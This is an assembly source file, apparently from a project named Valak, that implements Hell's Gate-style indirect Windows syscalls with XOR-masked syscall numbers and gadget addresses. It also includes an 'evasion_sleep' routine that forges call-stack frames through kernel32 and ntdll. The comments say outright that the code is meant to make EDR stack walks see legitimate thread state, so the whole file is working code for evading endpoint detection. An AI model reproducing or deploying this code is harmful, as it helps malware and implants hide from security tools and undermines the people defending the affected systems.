Files
Valak/evasion/arch/hells_gate.s
T

95 lines
2.9 KiB
ArmAsm

.intel_syntax noprefix
.data
wSystemCallEnc: .long 0
qSyscallInsAddressEnc: .quad 0
qFakeReturnEnc: .quad 0
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
// Synthetic frame globals, set by frames.zig init_frames().
// Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart.
.global qFakeRtlUserThreadStart
.global qFakeBaseThreadInitThunk
.global qRtlUserFrameSize
.global qBaseThreadFrameSize
qFakeRtlUserThreadStart: .quad 0
qFakeBaseThreadInitThunk: .quad 0
qRtlUserFrameSize: .quad 0
qBaseThreadFrameSize: .quad 0
.text
.global hells_gate
.global hell_descent
// evasion_sleep trampoline. Pushes synthetic frames through the canonical
// Windows thread init chain: kernel32!BaseThreadInitThunk ntdll!RtlUserThreadStart.
// EDR stack walk sees legitimate thread state, not a gap.
.global evasion_sleep
.section .drectve
.ascii " -export:evasion_sleep"
.text
evasion_sleep:
// Save Go return address. RSP points at it on entry.
mov r11, [rsp]
mov r10, rcx // save sleep duration (first arg from Go)
// Build BaseThreadInitThunk frame (calls RtlUserThreadStart).
mov rax, qword ptr [rip + qBaseThreadFrameSize]
sub rsp, rax
mov rcx, qword ptr [rip + qFakeRtlUserThreadStart]
add rcx, 0x14 // offset past BaseThreadInitThunk prologue
mov [rsp], rcx
// Build RtlUserThreadStart frame (chain termination).
mov rax, qword ptr [rip + qRtlUserFrameSize]
sub rsp, rax
mov qword ptr [rsp], 0 // end of chain
// Save desync RSP for teardown. Call Zig implementation.
mov rbp, rsp
mov rcx, r10 // restore sleep duration
sub rsp, 0x28 // shadow space + alignment
call evasion_sleep_inner
add rsp, 0x28
// Restore original stack: rewind through synthetic frames.
lea rsp, [rbp]
mov rax, qword ptr [rip + qRtlUserFrameSize]
add rsp, rax
mov rax, qword ptr [rip + qBaseThreadFrameSize]
add rsp, rax
// Restore Go return address and return.
mov [rsp], r11
ret
hells_gate:
xor ecx, dword ptr [rip + wMask]
mov dword ptr [rip + wSystemCallEnc], ecx
xor rdx, qword ptr [rip + qMask]
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
mov rax, r8
xor rax, qword ptr [rip + qMask]
mov qword ptr [rip + qFakeReturnEnc], rax
ret
// Push standalone ret from ntdll .text before jmp to syscall;ret gadget.
// The gadget's ret returns there so kernel callstack shows ntdll frames.
hell_descent:
mov r10, rcx
mov eax, dword ptr [rip + wSystemCallEnc]
xor eax, dword ptr [rip + wMask]
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
mov rcx, r9 // save arg4, rcx free after mov r10,rcx
mov r9, qword ptr [rip + qFakeReturnEnc]
xor r9, qword ptr [rip + qMask]
test r9, r9
jz .Ldone
push r9
.Ldone:
mov r9, rcx // restore arg4
jmp r11